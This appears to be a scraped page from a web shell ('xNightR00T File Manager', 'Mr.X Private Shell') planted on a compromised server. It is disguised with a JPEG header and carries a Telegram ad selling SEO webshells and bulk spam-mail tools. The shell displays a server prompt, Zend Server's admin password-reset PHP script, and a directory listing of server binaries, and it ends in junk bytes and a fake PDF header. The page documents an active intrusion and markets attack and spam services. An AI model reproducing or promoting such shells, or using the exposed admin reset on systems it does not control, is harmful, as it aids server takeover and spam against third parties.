xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

/**
 * Zend Server GUI password change script - compatible with ZS6 and above
 * 
 * The script changes the password of the admin user, with the value passed to the script.
 * The script should be executed by the root/administrator from the command line. 
 * The script expects a single mandatory argument which is the new value of the admin passowrd
 */


ini_set('error_reporting', E_ALL & ~E_STRICT);

define('ZEND_INSTALL_DIR', get_cfg_var('zend.install_dir'));
define("GUI_SQLITE_FILENAME", 'gui.db');
define("ADMIN_NAME", 'admin');
define("ADMIN_ROLE", 'administrator');
define("MIN_PASS_LENGH", 4);

if (! ZEND_INSTALL_DIR) {
	terminateScript("could not determine the Zend Install Directory - this problem might be caused by one of the following reasons:
	- php-cli binary executed is not the Zend Server PHP binary 
	- user running the script does not have permissions to read zend ini files");
}

try {	
	$newPassword = getNewPassword($argv);
	$iniDbdata = getConnectionDirectives();
	$dbh = getConnection($iniDbdata);
	$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
	$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
	$db = $dbh->getAttribute(PDO::ATTR_DRIVER_NAME);
	validateBootstrap($dbh);

	$statement = getReplaceStatement($newPassword);
	$pdoStatement = $dbh->prepare($statement);	
	if ($pdoStatement->execute(array(':NAME'=>ADMIN_NAME, ':PASSWORD'=>$newPassword, ':ROLE'=>ADMIN_ROLE)) === false) {
		terminateScript("SQL query [$statement] against the {$db} DB failed to execute!");
	}
	
	setSimpleAuth();

	exit("GUI password was replaced successfully" . PHP_EOL);
}
catch(Exception $e) {
	terminateScript("the script failed to execute with the following message: " . $e->getMessage());
}


// functions from here
function setSimpleAuth() {
	$guiIniPath = getGuiIniPath();
	$iniData = parse_ini_file($guiIniPath, true, INI_SCANNER_RAW);
	if (!isset($iniData['authentication']['zend_gui.simple'])) {
		terminateScript("Could not find directive 'zend_gui.simple' under the 'authentication' section - authentication method will be left as");
	}

	$value = trim($iniData['authentication']['zend_gui.simple']);
	if ($value === 'true' || $value === '1') {
		return true;
	}
	
	echo("will change authentication method to simple" . PHP_EOL);
	$iniData['authentication']['zend_gui.simple'] = '1';
	return writeIniFile($guiIniPath, $iniData);
}

function writeIniFile($guiIniPath, $iniData) {
	$dataStr = '';
	foreach($iniData as $section=>$sectionData) {
		$dataStr .= PHP_EOL . "[{$section}]" . PHP_EOL;
		foreach ($sectionData as $key=>$value) {
			if (preg_match('/[= ]/', $value)) { // parse_ini_file() strips ", even when using the INI_SCANNER_RAW option
				$value = '"' . trim($value) . '"';
			}
			
			$dataStr .= trim($key) . ' = ' . trim($value) . PHP_EOL;
		}
	}
	
	return file_put_contents($guiIniPath, trim($dataStr), LOCK_EX);
}

function getGuiIniPath() {
	$guiIniPath = ZEND_INSTALL_DIR . DIRECTORY_SEPARATOR . 'gui' . DIRECTORY_SEPARATOR . 'config' . DIRECTORY_SEPARATOR . 'zs_ui.ini';
	if (!is_writable($guiIniPath)) {
		terminateScript("GUI ini file is not writable at '{$guiIniPath}'- authentication method will be left as");
	}

	return $guiIniPath;
}

function getNewPassword($argv) {
	if (!isset($argv[1])) {
		terminateScript("the script expects the first argument to be the new password value", 3);
	}
	
	$newPassword = trim($argv[1]);
	if (!preg_match('/^[^\x00-\x1f\s]*$/', $newPassword)) { //No control characters nor whitespace
		terminateScript("new password value should neither contain whitespaces and control characters", 3);
	}
	
	if (strlen($newPassword) < MIN_PASS_LENGH) {
		terminateScript("password should contain at least " . MIN_PASS_LENGH . " characters", 3);
	}
	
	return hash('sha256', $newPassword);
}


function getConnectionDirectives() {
	$zendDbInifile = ZEND_INSTALL_DIR . DIRECTORY_SEPARATOR . 'etc' . DIRECTORY_SEPARATOR . 'zend_database.ini';
	$iniDbdata = parse_ini_file($zendDbInifile);
	if (!isset($iniDbdata['zend.database.type'])) $iniDbdata = current($iniDbdata);// crude, but in windows, all directives are under [Zend.zend_database] section
	return $iniDbdata;
}

function getConnection() {
	global $iniDbdata;
	if (! isMysql()) return new PDO('sqlite:'.getSqliteDbPath());

	$hostname = $iniDbdata['zend.database.host_name'];
	$dbname = $iniDbdata['zend.database.name'];
	$username = $iniDbdata['zend.database.user'];
	$password = $iniDbdata['zend.database.password'];

	return new PDO("mysql:host=$hostname;dbname=$dbname", $username, $password);
}

function isMysql() {
	global $iniDbdata;
	return strtolower($iniDbdata['zend.database.type']) === 'mysql';
}

function getSqliteDbPath() {
	isWin() ? $data_dir = 'data' : $data_dir = 'var';

	$guiSqlitePath = ZEND_INSTALL_DIR . DIRECTORY_SEPARATOR .$data_dir . DIRECTORY_SEPARATOR . 'db' . DIRECTORY_SEPARATOR . GUI_SQLITE_FILENAME;
	if (!is_writable($guiSqlitePath)) {
		terminateScript("GUI sqlite db file is not writable at '{$guiSqlitePath}'");
	}
	
	return $guiSqlitePath;
}

function isWin() {
	return (stripos(PHP_OS, "win") === 0);
}

/**
 * 
 * @param PDO $dbh
 */
function validateBootstrap($dbh) {
	$usersCount = $dbh->query('SELECT count(NAME) FROM GUI_USERS')->fetch();
	if (!isset($usersCount[0]) || $usersCount[0] <= 0) {
		terminateScript("It seems that bootstrap was not preformed yet - this script should be executed against a bootstrapped ZS environment", 2);
	}
}

function getReplaceStatement($newPassword) {
	return "REPLACE INTO GUI_USERS (NAME, PASSWORD, ROLE) VALUES (:NAME, :PASSWORD, :ROLE)";
}

function terminateScript($message, $code = 1) {
	fprintf(STDERR, $message . PHP_EOL);
	exit((int) $code);
}

Filemanager

Name Type Size Permission Actions
MonitorNode File 610.86 KB 0755
ZManifest File 48.29 KB 0755
clean_semaphores.sh File 1.86 KB 0755
composer.phar File 2.09 MB 0755
composer.sh File 63 B 0755
create_cert.sh File 920 B 0755
extract_meta_data.sh File 448 B 0755
gui_passwd.php File 5.55 KB 0644
jqd File 1.56 MB 0755
jqd.sh File 40 B 0755
lighttpdctl.sh File 40 B 0755
monitor-node.sh File 39 B 0755
nginxctl.sh File 42 B 0755
php File 239 B 0755
php-fpm File 6.03 MB 0755
php-fpm.sh File 44 B 0755
scd File 1.08 MB 0755
scd.sh File 35 B 0755
shell_functions.rc File 5.3 KB 0755
statsd File 373.73 KB 0755
statsd.sh File 38 B 0755
support_tool.sh File 2.05 KB 0755
uninstall.sh File 1.54 KB 0755
watchdog File 100.95 KB 0755
zdd File 1.51 MB 0755
zdd.sh File 42 B 0755
zdpack File 3.2 MB 0755
zendctl.sh File 8.02 KB 0755
zmd File 19.75 KB 0755
zs-client.sh File 382 B 0755
zs-manage File 806 B 0755
zsd File 1.97 MB 0755
zsd.sh File 35 B 0755
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1